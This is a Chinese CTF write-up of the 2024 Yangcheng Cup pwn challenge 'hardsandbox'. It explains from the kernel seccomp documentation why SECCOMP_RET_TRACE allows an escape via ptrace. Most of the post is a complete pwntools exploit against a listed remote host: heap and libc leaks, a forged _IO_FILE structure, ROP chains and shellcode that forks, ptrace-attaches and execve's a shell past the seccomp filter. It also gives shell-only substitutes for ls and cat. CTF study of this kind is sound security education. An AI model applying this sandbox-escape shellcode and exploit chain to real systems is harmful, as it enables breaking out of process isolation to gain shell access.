前言
今天无聊乱刷的时候发现有师傅说羊城杯的pwn4(hardsandbox)用openat2只能打通本地,远程无法打通,于是点击看了一下文章,发现了一个对沙箱的逃逸的知识点。
正文
为什么openat2无法打通远程
Qanux师傅说是远程的 kernel(linux内核) 版本是 5.4,而 openat2 系统调用是在 kernel 5.6 才引入的,所以这种方法作废。
怎么办?
我们不难发现,此次沙箱的开法和平常不太一样:
平常我们看到的都是:return KILL,这一次不太一样,是return TRACE,我们来看一下The Linux Kernel Archives对这一条指令的描述(链接:Seccomp BPF (SECure COMPuting with filters) — The Linux Kernel documentation):
Return values
A seccomp filter may return any of the following values. If multiple filters exist, the return value for the evaluation of a given system call will always use the highest precedent value. (For example,
SECCOMP_RET_KILL_PROCESS
will always take precedence.)In precedence order, they are:
SECCOMP_RET_KILL_PROCESS
:Results in the entire process exiting immediately without executing the system call. The exit status of the task (
status & 0x7f
) will beSIGSYS
, notSIGKILL
.
SECCOMP_RET_KILL_THREAD
:Results in the task exiting immediately without executing the system call. The exit status of the task (
status & 0x7f
) will beSIGSYS
, notSIGKILL
.
SECCOMP_RET_TRAP
:Results in the kernel sending a
SIGSYS
signal to the triggering task without executing the system call.siginfo->si_call_addr
will show the address of the system call instruction, andsiginfo->si_syscall
andsiginfo->si_arch
will indicate which syscall was attempted. The program counter will be as though the syscall happened (i.e. it will not point to the syscall instruction). The return value register will contain an arch- dependent value -- if resuming execution, set it to something sensible. (The architecture dependency is because replacing it with-ENOSYS
could overwrite some useful information.)The
SECCOMP_RET_DATA
portion of the return value will be passed assi_errno
.
SIGSYS
triggered by seccomp will have a si_code ofSYS_SECCOMP
.
SECCOMP_RET_ERRNO
:Results in the lower 16-bits of the return value being passed to userland as the errno without executing the system call.
SECCOMP_RET_USER_NOTIF
:Results in a
struct seccomp_notif
message sent on the userspace notification fd, if it is attached, or-ENOSYS
if it is not. See below on discussion of how to handle user notifications.
SECCOMP_RET_TRACE
:When returned, this value will cause the kernel to attempt to notify a
ptrace()
-based tracer prior to executing the system call. If there is no tracer present,-ENOSYS
is returned to userland and the system call is not executed.A tracer will be notified if it requests
PTRACE_O_TRACESECCOMP
usingptrace(PTRACE_SETOPTIONS)
. The tracer will be notified of aPTRACE_EVENT_SECCOMP
and theSECCOMP_RET_DATA
portion of the BPF program return value will be available to the tracer viaPTRACE_GETEVENTMSG
.The tracer can skip the system call by changing the syscall number to -1. Alternatively, the tracer can change the system call requested by changing the system call to a valid syscall number. If the tracer asks to skip the system call, then the system call will appear to return the value that the tracer puts in the return value register.
The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use this mechanism to escape.)
SECCOMP_RET_LOG
:Results in the system call being executed after it is logged. This should be used by application developers to learn which syscalls their application needs without having to iterate through multiple test and development cycles to build the list.
This action will only be logged if “log” is present in the actions_logged sysctl string.
SECCOMP_RET_ALLOW
:Results in the system call being executed.If multiple filters exist, the return value for the evaluation of a given system call will always use the highest precedent value.
Precedence is only determined using the
SECCOMP_RET_ACTION
mask. When multiple filters return values of the same precedence, only theSECCOMP_RET_DATA
from the most recently installed filter will be returned.翻译一下:
返回值
一个seccomp过滤器可能返回下列任意值。如果多个过滤器存在,评估一个指定系统调用的 返回值总会使用最高优先级的值。(比如
SECCOMP_RET_KILL_PROCESS
总是被优先 返回。)按照优先级排序,它们是:
SECCOMP_RET_KILL_PROCESS
:使得整个进程立即结束而不执行系统调用。进程的退出状态 (
status & 0x7f
) 将 是SIGSYS
,而不是SIGKILL
。
SECCOMP_RET_KILL_THREAD
:使得线程立即结束而不执行系统调用。线程的退出状态 (
status & 0x7f
) 将是 是SIGSYS
,而不是SIGKILL
。
SECCOMP_RET_TRAP
:使得内核向触发进程发送一个
SIGSYS
信号而不执行系统调用。siginfo->si_call_addr
会展示系统调用指令的位置,siginfo->si_syscall
和siginfo->si_arch
会指出试图进行的系统调用。程序计数器会和发生了系统 调用的一样(即它不会指向系统调用指令)。返回值寄存器会包含一个与架构相关的值—— 如果恢复执行,需要将其设为合理的值。(架构依赖性是因为将其替换为-ENOSYS
会导致一些有用的信息被覆盖。)返回值的
SECCOMP_RET_DATA
部分会作为si_errno
传递。由seccomp触发的
SIGSYS
会有一个SYS_SECCOMP
的 si_code 。
SECCOMP_RET_ERRNO
:使得返回值的低16位作为errno传递给用户空间,而不执行系统调用。
SECCOMP_RET_USER_NOTIF
:使得一个
struct seccomp_notif
消息被发送到已附加的用户空间通知文件描述 符。如果没有被附加则返回-ENOSYS
。下面会讨论如何处理用户通知。
SECCOMP_RET_TRACE
:当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于
ptrace()
的追踪器。如果没有追踪器,
-ENOSYS
会返回给用户空间,并且系统调用不会执行。如果追踪器通过
ptrace(PTRACE_SETOPTIONS)
请求了PTRACE_O_TRACESECCOMP
, 那么它会收到PTRACE_EVENT_SECCOMP
通知。BPF程序返回值的SECCOMP_RET_DATA
部分会通过PTRACE_GETEVENTMSG
提供给追踪器。追踪器可以通过改变系统调用号到-1来跳过系统调用。或者追踪器可以改变系统调用号到 一个有效值来改变请求的系统调用。如果追踪器请求跳过系统调用,那么系统调用将返回 追踪器放在返回值寄存器中的值。
在追踪器被通知后,seccomp检查不会再次运行。(这意味着基于seccomp的沙箱必须禁止 ptrace的使用,甚至其他沙箱进程也不行,除非非常小心;ptrace可以通过这个机制来逃 逸。)
SECCOMP_RET_LOG
:使得系统调用在被记录之后再运行。这应该被应用开发者用来检查他们的程序需要哪些 系统调用,而不需要反复通过多个测试和开发周期来建立清单。
只有在 actions_logged sysctl 字符串中出现 “log” 时,这个操作才会被记录。
SECCOMP_RET_ALLOW
:使得系统调用被执行。如果多个追踪器存在,评估系统调用的返回值将永远使用最高优先级的值。优先级只通过
SECCOMP_RET_ACTION
掩码来决定。当多个过滤器返回相同优先级的返回 值时,只有来自最近安装的过滤器的SECCOMP_RET_DATA
会被返回。
总结一下就是:
一个指定系统调用的返回值总会使用最高优先级的值。优先级如下表:
优先级 | |
---|---|
SECCOMP_RET_KILL_PROCESS: | 使得整个进程立即结束而不执行系统调用 |
SECCOMP_RET_KILL_THREAD: | 使得线程立即结束而不执行系统调用。 |
SECCOMP_RET_TRAP: | 使得内核向触发进程发送一个 SIGSYS 信号而不执行系统调用。 |
SECCOMP_RET_ERRNO: | 使得返回值的低16位作为errno传递给用户空间,而不执行系统调用。 |
SECCOMP_RET_USER_NOTIF: | 使得一个 struct seccomp_notif 消息被发送到已附加的用户空间通知文件描述 符。如果没有被附加则返回 -ENOSYS 。 |
SECCOMP_RET_TRACE: | 当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于 ptrace() 的追踪器。 |
SECCOMP_RET_LOG: | 使得系统调用在被记录之后再运行。 |
SECCOMP_RET_ALLOW: | 使得系统调用被执行。 |
如何利用:
不难发现SECCOMP_RET_TRACE是存在漏洞可以利用的:
当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于 ptrace() 的追踪器。
如果没有追踪器, -ENOSYS 会返回给用户空间,并且系统调用不会执行。
如果追踪器通过 ptrace(PTRACE_SETOPTIONS) 请求了 PTRACE_O_TRACESECCOMP, 那么它会收到 PTRACE_EVENT_SECCOMP 通知。BPF程序返回值的 SECCOMP_RET_DATA 部分会通过 PTRACE_GETEVENTMSG 提供给追踪器。
追踪器可以通过改变系统调用号到-1来跳过系统调用。或者追踪器可以改变系统调用号到 一个有效值来改变请求的系统调用。如果追踪器请求跳过系统调用,那么系统调用将返回追踪器放在返回值寄存器中的值。
在追踪器被通知后,seccomp检查不会再次运行。(这意味着基于seccomp的沙箱必须禁止 ptrace的使用,甚至其他沙箱进程也不行,除非非常小心;ptrace可以通过这个机制来逃逸。)
具体做法:
其具体做法是:使用 fork 开一个子进程,子进程需要 ptrace(PTRACE_TRACEME, 0, 0,0); 来允许自己被父进程追踪,父进程需使用 ptrace(PTRACE_ATTACH, pid, 0, 0); 来追踪子进程。然后父进程在 wait() 阻塞等待子进程发起系统调用。一旦捕捉到,则子进程阻塞,父进程继续运行,此时需用 ptrace(PTRACE_0_SUSPEND_SEECOMP, pid, 0, PTRACE_0_TRACESECCOMP); 将被 TRACE 系统的调用改为允许运行,然后 ptrace(PTRACE_SCONT);来恢复子进程的系统调用执行。既然我们已经可以逃逸检查,所以直接使用 execve 来拿 shell。
板子(来源于Qanux师傅):
链接:羊城杯 2024 pwn writeup | Qanux's space
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")
完整exp:
from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p = getProcess("139.155.126.78", "38645", "./pwn")
elf = ELF("./pwn")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
'''
def choose(num):
sla(b'>',str(num))
def add(index,size):
choose(1)
sla(b'Index: ',str(index))
sla(b'Size: ',str(size))
def delete(index):
choose(2)
sla(b'Index: ',str(index))
def edit(index,content):
choose(3)
sla(b'Index: ',str(index))
sla(b'Content: ',content)
def show(index):
choose(4)
sla(b'Index: ',str(index))
add(0,0x520)
add(1,0x518)
add(2,0x500)
add(3,0x510)
delete(0)
add(4,0x550)
show(0)
print("__malloc_hook=",hex(libc.sym["__malloc_hook"]))
libc_base=uu64(ru('\x7f'))-0x1f70f0
edit(0,b'a'*0x10)
show(0)
heap_base=uu64(ru('\x55')[-6:])-0x20a
print("libc_base=",hex(libc_base))
print("heap_base=",hex(heap_base))
edit(0,p64(libc_base+0x1f70f0)*2+p64(heap_base+0x5575468e9f7a-0x5575468ea000+0x290)+p64(libc_base+libc.sym["_IO_list_all"]-0x20))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
syscall_addr=libc_base+0x91316
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
pop_rdi=libc_base+0x0000000000023b65
pop_rdx=libc_base+0x0000000000166262
pop_rsi=libc_base+0x00000000000251be
pop_rax=libc_base+0x000000000003fa43
'''
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rdi
0x0000000000023e75 : pop rdi ; pop rbp ; ret
0x0000000000023b65 : pop rdi ; ret
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rdx
0x000000000008bcd8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000008bcd9 : pop rdx ; pop rbx ; ret
0x0000000000101353 : pop rdx ; pop rcx ; pop rbx ; ret
0x0000000000166262 : pop rdx ; ret
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rsi
0x0000000000023e73 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000023b63 : pop rsi ; pop r15 ; ret
0x00000000000251be : pop rsi ; ret
0x00000000000472ee : pop rsi ; ret 0xfffe
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rax
0x000000000003f822 : pop rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000140588 : pop rax ; pop rbx ; pop rbp ; ret
0x000000000008bcd8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000003fa43 : pop rax ; ret
0x000000000002e104 : pop rax ; ret 0x18
'''
fake_IO_wide_data=flat({
0x0:[pop_rdi,#pop rdi
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
0,##
libc_base+0x0000000000108b03,#libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0,
0,##
0,
libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
2,
libc_base+libc.sym["syscall"]+27,
libc_base+0x000000000002a3e5,#pop rdi
3,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
0x100,
0,
read_addr,
libc_base+0x000000000002a3e5,#pop rdi,
1,
write_addr,],
0xb0:0,
0xb8:0,
0xc0:0,
0xc8:0,
0xd0:0,
0xd8:0,
0xe0:0x558f4c7b1ea0- 0x558f4c7b1000+heap_base,
0xe8:[p64(0)*6,p64(heap_base+0xf10)],
0x148:libc_base+0x0000000000160e56
})
fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:0, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:0x559123894dc0-0x559123894000+heap_base, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:_IO_wfile_jumps+libc_base,#vtable
})
edit(1,b'./flag\x00\x00'+p64(0)*0xa1+p64(heap_base+0xf10))
payload3=p64(libc_base+0x00000000000233d1)*1+p64(libc_base+0x00000000000251bd)+p64(100)+p64(libc_base+0x00000000000251bd)+p64(libc_base+0x0000000000054990)+p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x3000)+p64(pop_rdx)+p64(7)+p64(libc_base+libc.sym["mprotect"])
payload4=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload4+=p64(heap_base+0x1000)#read函数返回地址
shell='''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push 437
pop rax
syscall
'''
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")
print("length=",hex(len(shellcode)))
shell += shellcraft.sendfile(1,3,0,50)
edit(2,fake_IO_FILE+fake_IO_wide_data+payload3+payload4)
delete(2)
add(5,0x550)
#gdbbug()
sla(b'>',str(5))
pause()
sd(shellcode)
ita()
由于ls和cat都使用了open()系统调用来打开目录,但是我们拿到的shell依然处于沙箱的环境中,open系统调用被禁止使用,这也意味着我们无法使用 。
最后给出ls和cat的平替:
#ls
echo *
#cat flag
while IFS= read -r line; do
echo "$line"
done < flag
标签:pwn4,libc,mov,pop,2024,syscall,羊城,base,rax
From: https://blog.csdn.net/2301_79327647/article/details/141761305